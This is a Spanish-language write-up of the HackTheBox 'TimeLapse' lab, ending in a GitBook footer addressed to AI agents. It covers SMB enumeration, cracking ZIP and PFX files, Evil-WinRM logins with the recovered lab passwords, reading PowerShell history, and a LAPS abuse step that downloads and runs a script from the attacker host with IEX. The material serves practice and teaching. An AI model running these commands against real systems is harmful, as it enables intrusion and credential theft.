> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/writeups-ctf/hackthebox/windows-easy/timelapse-hackthebox-writeup.md). # Resolución de HackTheBox TimeLapse {% embed url="" %} {% hint style="warning" %} **Habilidades:** * Enumeración SMB * Descifrado de archivo ZIP protegido con contraseña (fcrackzip) * Descifrado y lectura de archivo .PFX (crackpkcs12) * Obteniendo acceso SSL con Evil-WinRM * Fuga de información - Lectura del historial de Powershell del usuario (pivotaje de usuario) * Abusar de LAPS para obtener contraseñas (Get-LAPSPasswords.ps1) (Escalada de privilegios) {% endhint %} ## Reconocimiento **Configuración del espacio de trabajo:** Configura el espacio de trabajo creando tres carpetas para almacenar contenido importante, exploits y resultados de reconocimiento de Nmap.

**Comprobación de conectividad VPN** Comprueba la conectividad VPN para asegurar una comunicación estable con la máquina objetivo.

**Descubrimiento de puertos abiertos con Nmap:** ```bash nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.11.152 -oG allPorts ```

**Análisis de puertos abiertos con extractport:**/ Usando la función extractport para mostrar de forma concisa los puertos abiertos y copiarlos al portapapeles.

**Escaneo de versión de puertos con Nmap:**/ Usar Nmap para escanear las versiones de los servicios y guardar la salida en el archivo "targeted": ```bash nmap -sCV -p53,88,135,139,389,445,464,593,636,3268,3269,5986,9389,49667,49673,49674,49726,59126 10.10.11.152 -oN targeted ```

#### Configuración del archivo /etc/hosts para la resolución DNS.

## **Enumeración y explotación:** ### Identificar el nombre de la máquina y el dominio Uso de CrackMapExec para identificar el nombre de la máquina y su dominio. ```bash crackmapexec smb 10.10.11.152 ```

### Listar archivos compartidos con SMB: Uso de smbclient y smbmap para listar archivos compartidos. ```bash smbclient -L 10.10.11.152 -N ```

```bash smbmap -H 10.10.11.152 -u 'null' ```

### **Acceso a la carpeta compartida y descubrimiento de un archivo ZIP protegido con contraseña** Exploración e identificación de archivos en la carpeta compartida, revelando un archivo ZIP protegido. ```bash smbclient //10.10.11.152/Shares -N ```

### **Crackeo del archivo ZIP con fcrackzip** Uso de fcrackzip para intentar encontrar la contraseña del archivo ZIP. ```bash fcrackzip -v -u -D -p /usr/share/wordlists/rockyou.txt winrm_backup.zip ```

### **Extracción desde archivo .PFX**

```bash openssl pkcs12 -in legacyy_dev_auth.pfx -nocerts -out priv-key.pem -nodes ```

### **Descifrar la contraseña del archivo .PFX:** #### Para descifrar un archivo pfx mediante el crackeo de la contraseña, se utilizará la herramienta crackpkcs12. {% embed url="" %} ```bash crackpkcs12 -d /usr/share/wordlists/rockyou.txt legacyy_dev_auth.pfx ```

### **Obtener la clave privada y el certificado del archivo .PFX** Recuperación de la clave privada

Recuperación del certificado ```bash openssl pkcs12 -in legacyy_dev_auth.pfx -nokeys -out certificate.pem ```

### **Conexión SSL con Evil-WinRM usando la clave privada y el certificado**

```bash evil-winrm -i 10.10.11.152 -c certificate.pem -k priv-key.pem -S ```

### **Obtener la primera bandera** Obtención de la primera bandera, "user.txt"

## Escalada de privilegios: **Lista de usuarios y privilegios del DC con net users y whoami /priv** Identificación de usuarios y privilegios en el controlador de dominio.

#### **Análisis de los grupos de usuarios y descubrimiento de la pertenencia del usuario "svc/ deploy" al grupo "LAPS/ Readers"**

#### **Obtener la contraseña del usuario "svc/ deploy" leyendo el historial de PowerShell** ```bash type AppData/Roaming/Microsoft/Windows/PowerShell/PSReadline/ConsoleHost_history.txt ```

### **Validación de la contraseña con CrackMapExec** Confirmación de la validez de la contraseña obtenida usando CrackMapExec. ```bash crackmapexec smb 10.10.11.152 -u 'svc_deploy' -p 'E3R$Q62^12p7PLlC%KWaxuaV' ```

### **Inicio de sesión en Evil-WinRM usando las credenciales del usuario "svc/ deploy"** Conexión al sistema remoto usando las credenciales del usuario "svc/ deploy" con Evil-WinRM.

evil-winrm -i 10.10.11.152 -u 'svc_deploy' -p 'E3R$Q62^12p7PLlC%KWaxuaV' -S

### **Uso de Get-LAPSPasswords para extraer contraseñas** {% embed url="" %} #### **Descargar el script Get-LAPSPasswords** ```bash python3 -m http.server 80 ``` ```bash IEX(New-object Net.WebClient).downloadString('http://10.10.16.4/Get-LAPSPasswords.ps1') ```

### **Ejecución del script y recuperación de contraseñas administrativas**

### **Validación de la contraseña de administración con CrackMapExec** Confirmación de la validez de la contraseña obtenida usando CrackMapExec desde el usuario Administrador. ```basic crackmapexec smb 10.10.11.152 -u 'Administrator' -p '32x3WwoM$8}nr+jw0Z(wz)[@' ```

### **Conexión final con Evil-WinRM usando las credenciales de administrador** Conexión final al sistema con credenciales administrativas mediante Evil-WinRM. ```bash evil-winrm -i 10.10.11.152 -u 'Administrator' -p '32x3WwoM$8}nr+jw0Z(wz)[@' -S ```

### **¡Bandera final obtenida :)**

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter: ``` GET https://hacking-notes.jord4n.pro/es/writeups-ctf/hackthebox/windows-easy/timelapse-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.